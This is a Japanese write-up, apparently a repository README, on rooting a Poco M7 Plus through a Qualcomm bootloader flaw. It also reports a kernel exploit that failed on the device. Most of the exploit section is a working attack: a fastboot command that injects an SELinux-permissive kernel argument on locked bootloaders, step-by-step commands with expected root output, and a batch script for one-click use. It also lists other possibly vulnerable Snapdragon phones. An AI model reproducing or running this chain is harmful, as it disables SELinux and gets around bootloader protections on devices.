
Poco M7 Plus (SM6375) における Qualcomm GBL エクスプロイト (CVE-2026-24088) を利用した一時的 root 取得調査 + GhostLock カーネル解析 (CVE-2026-43499)
免責事項: このドキュメントは純粋に教育およびセキュリティリサーチ目的で書かれています。すべてのテストは自身のデバイスで実施しました。デバイスの文鎮化、データ損失、またはこの情報の悪用について私は責任を負いません。ここで議論されている脆弱性はすでに公開され、修正済みです。所有していないデバイスでこれを試さないでください。
| ファイル | 説明 |
|---|---|
| GBL-AutoRoot.bat | ワンクリックエクスプロイト自動化ツール (Windows) |
使用方法:
GBL-AutoRoot.bat をダウンロードCVE-2026-24088 の影響を受ける任意の Qualcomm ABL デバイスと互換性があります。 デバイスが
OKAYを返した場合、root アクセスが自動的に付与されます。
このツールは Qualcomm ABL 脆弱性 (CVE-2026-24088) を対象としています。デバイスに脆弱な SoC が搭載されており、まだ修正済みファームウェアを受信していない場合、このツールは動作します。
| ステータス | デバイス / SoC ファミリー | デバイス例 |
|---|---|---|
| 🟢 確認済み | Snapdragon 695 (SM6375) | POCO M7 Plus 5G, Redmi 15 5G |
| 🟡 可能性あり | Snapdragon 8 Gen 3 (SM8650) | Xiaomi 14 / Pro / Ultra, Redmi K70 Pro |
| 🟡 可能性あり | Snapdragon 8 Gen 2 (SM8550) | Xiaomi 13 / Pro, POCO F5 Pro, Redmi K60 Pro |
| 🟡 可能性あり | Snapdragon 8+ Gen 1 (SM8475) | Xiaomi 12T Pro, POCO F5 |
| 🟡 可能性あり | Snapdragon 888 (SM8350) | Mi 11, Mi 11X Pro, POCO F3 |
| 🟡 可能性あり | Snapdragon 7+ Gen 3 (SM7675) | POCO F6 |
| 🟡 可能性あり | Snapdragon 7 Gen 3 (SM7550) | Xiaomi Civi 4 |
| 🟡 可能性あり | Snapdragon 695 5G (SM6375) | POCO X4 Pro 5G, Redmi Note 11 Pro 5G |
| 🟡 可能性あり | Snapdragon 680 (SM6225) | Redmi Note 11, Redmi 10C |
| 🟡 可能性あり | Snapdragon 662 (SM6115) | POCO M3, Redmi 9T |
| 🔴 非対応 | MediaTek (MTK) | POCO X6 Neo, Redmi Note 13 Pro+ |
| 🔴 非対応 | 修正済みファームウェア | HyperOS 3.0.304.0+ (セキュリティパッチ適用済み) |
📝 コミュニティでのテストが必要: 私はこれらすべてのデバイスをテスト用に持っているわけではありません。「対応の可能性あり」のデバイスをお持ちの方は、ツールをテストして結果を教えてください。これにより、あなたのデバイスを「動作確認済み」リストに正式に追加できるようになります!
| 項目 | 値 |
|---|---|
| デバイス | Poco M7 Plus 5G (コードネーム: spring) |
| チップセット | Qualcomm SM6375 (Snapdragon 6s Gen 3) |
| アーキテクチャ | AArch64, KASLR 有効 |
| SELinux | Enforcing (エクスプロイト前) |
| ブートローダー | LOCKED |
| テストプラットフォーム | Windows 11, ADB Platform Tools |
| HyperOS バージョン | カーネルバージョン | GhostLock 結果 | GBL エクスプロイト結果 |
|---|---|---|---|
| 2.0.202.0 | 6.1.118-android14-11-ga3b9c44908dd-ab13320413 | ❌ カーネルパニック | ✅ 動作 |
| 2.0.208.0 | 6.1.138-android14-11-g51f8c580613d-ab13911623 | ❌ カーネルパニック | ✅ 動作 |
リサーチノート: 最初は HyperOS 2.0.202.0 でテストし、GhostLock がカーネルパニックを引き起こしました。その後 2.0.208.0 にアップデートし、新しいカーネルビルド (6.1.118 -> 6.1.138) で GhostLock の不安定性が解消されるか確認しました。パニックは持続しました - 両ビルドは GhostLock が処理できない同一の 6.1
pselect/fd_set内部レイアウトを共有しています。GBL エクスプロイトは両バージョンで動作しました。
このリサーチでは、ブートローダーをアンロックせずにこのデバイスで一時的な root を取得するための2つの独立したエクスプロイト経路をテストしました:
| アプローチ A: GBL エクスプロイト | アプローチ B: GhostLock | |
|---|---|---|
| レイヤー | ブートローダー (ABL/fastboot) | カーネル (Linux 6.1) |
| CVE | CVE-2026-24088 | CVE-2026-43499 |
| このデバイスでの結果 | ✅ 動作 | ❌ カーネルパニック |
| root の種類 | 一時的 (テザード) | 一時的 (テザード) |
| ADB が必要? | はい (fastboot モード) | はい (シェルアクセス) |
| カーネルバージョンに敏感? | いいえ | はい - 6.6-6.12 でのみ安定 |
GBL エクスプロイトは動作しました。GhostLock はカーネルバージョンの不一致によりカーネルパニックで失敗しました。両方の発見は以下に詳細に記載されています。
CVE-2026-24088 は複数のデバイスにわたる Qualcomm の Android Boot Loader (ABL) に影響を与えます。``` Jan 2026 -> Vulnerability discovered during ABL unpacking & analysis Feb 2026 -> Qualcomm patches: QcomModulePkg: Fix propagation of untrusted input into kernel cmdline Mar 2026 -> Public PoC released; Xiaomi begins rolling out HyperOS 3.0.304.0 (patched) Jun 2026 -> CVE-2026-24088 officially assigned in Qualcomm Security Bulletin
### エクスプロイトチェーンの解説
このエクスプロイトは、ブートローダーレベルで**3段階のチェーン**として機能します。
#### ステージ1 - 署名なしGBLの実行
Android 16では、QualcommのABLが`efisp`パーティションからGeneric Bootloader (GBL)をロードします。重大な欠陥は次のとおりです。**ABLはバイナリが有効なUEFIアプリケーションかどうかを確認するだけで、その暗号署名を検証しません。** つまり、カスタムの署名なしUEFIアプリケーションを`efisp`に配置すると、ブートローダーステージで完全な権限で実行されます。
#### ステージ2 - カーネルコマンドラインインジェクション
`fastboot oem set-gpu-preemption`コマンドには**入力サニタイズが欠如しています**。ABLは、指定された引数をフィルタリングせずにカーネルコマンドラインへ直接連結します。
追加の引数として`androidboot.selinux=permissive`を渡すことで、次のようになります。```
fastboot oem set-gpu-preemption 0 androidboot.selinux=permissive
...ブートローダーは androidboot.selinux=permissive をカーネル cmdline に書き込み、Android の init プロセスが起動時にこれを読み取る - これにより SELinux の強制が事実上無効化される。
efisp に配置されたカスタム UEFI アプリケーションは、is_unlocked および is_unlocked_critical フラグを設定してブートローダーを恒久的にアンロックできる。(この手順はテストされていない - ハードブリックのリスクを伴う。)
⚠️ 続行する前に停止: まずセクション 7 のパッチチェックを実行すること。デバイスがパッチ済みの場合、これらは一切機能しない。
前提条件:
開発者オプションで OEM アンロックを有効にする必要がありますか? いいえ - そしてこれがこのエクスプロイトの最も重要な側面の一つである。
fastboot oem set-gpu-preemptionコマンドは ABL レベルで動作する - OS が OEM アンロック状態をチェックする前に処理される。CVE-2026-24088 は ABL 自体の入力サニタイズ欠如の脆弱性であり、OEM アンロックのゲートを完全にバイパスする。ブートローダーは全体を通してロックされたままである。 「まず OEM アンロックを有効にしろ」と書かれたガイドを見た場合 - それは別の(標準的な)アンロック方法に適用されるものであり、このエクスプロイトではない。
ステップ 1: Fastboot モードに入る```bash adb reboot bootloader
**ステップ2: 脆弱性のテスト**```bash
fastboot oem set-gpu-preemption 0 androidboot.selinux=permissive
OKAY -> デバイスは脆弱 ✅ 続行FAILED (remote: 'Set GPU HW Preemption: Invalid Argument') -> デバイスは修正済み ❌ ここで停止ステップ3: 注入されたCmdlineで起動```bash fastboot continue
**ステップ4:SELinux状態の確認**```bash
adb shell getenforce
# Expected: Permissive
ステップ5: Root Managerによるroot権限の取得
オプションA - KernelSU Manager:```bash
adb shell su -c id
**オプションB - Resuski Manager:**```bash
# Open Resuski Manager on device
# Enable "Jailbreak Mode" from the main screen
# Root and modules appear as active and working
adb shell su -c id
重要: jailbreak モードを有効化した後、端末の電源を切り、再度電源を入れた場合 - まず fastboot インジェクションを再実行する必要があります (ステップ 1〜3)。その後、root マネージャーアプリを再度開きます。root はテザード方式です - SELinux の permissive 状態が再確立されれば、マネージャーは root とモジュールが正常に動作していることを正しく表示します。
ステップ 6: 完全な root 状態を確認する```bash adb shell getenforce # Permissive adb shell su -c id # uid=0(root) adb shell su -c "cat /data/adb/ksu/version" # KSU version adb shell su -c "cat /sys/fs/selinux/enforce" # 0
**ステップ7: 自動化スクリプト(オプション)**```batch
@echo off
echo Rebooting to fastboot...
adb reboot bootloader
timeout /t 10
echo Injecting SELinux permissive...
fastboot oem set-gpu-preemption 0 androidboot.selinux=permissive
timeout /t 2
fastboot continue
echo Done. Open KernelSU or Resuski Manager on device.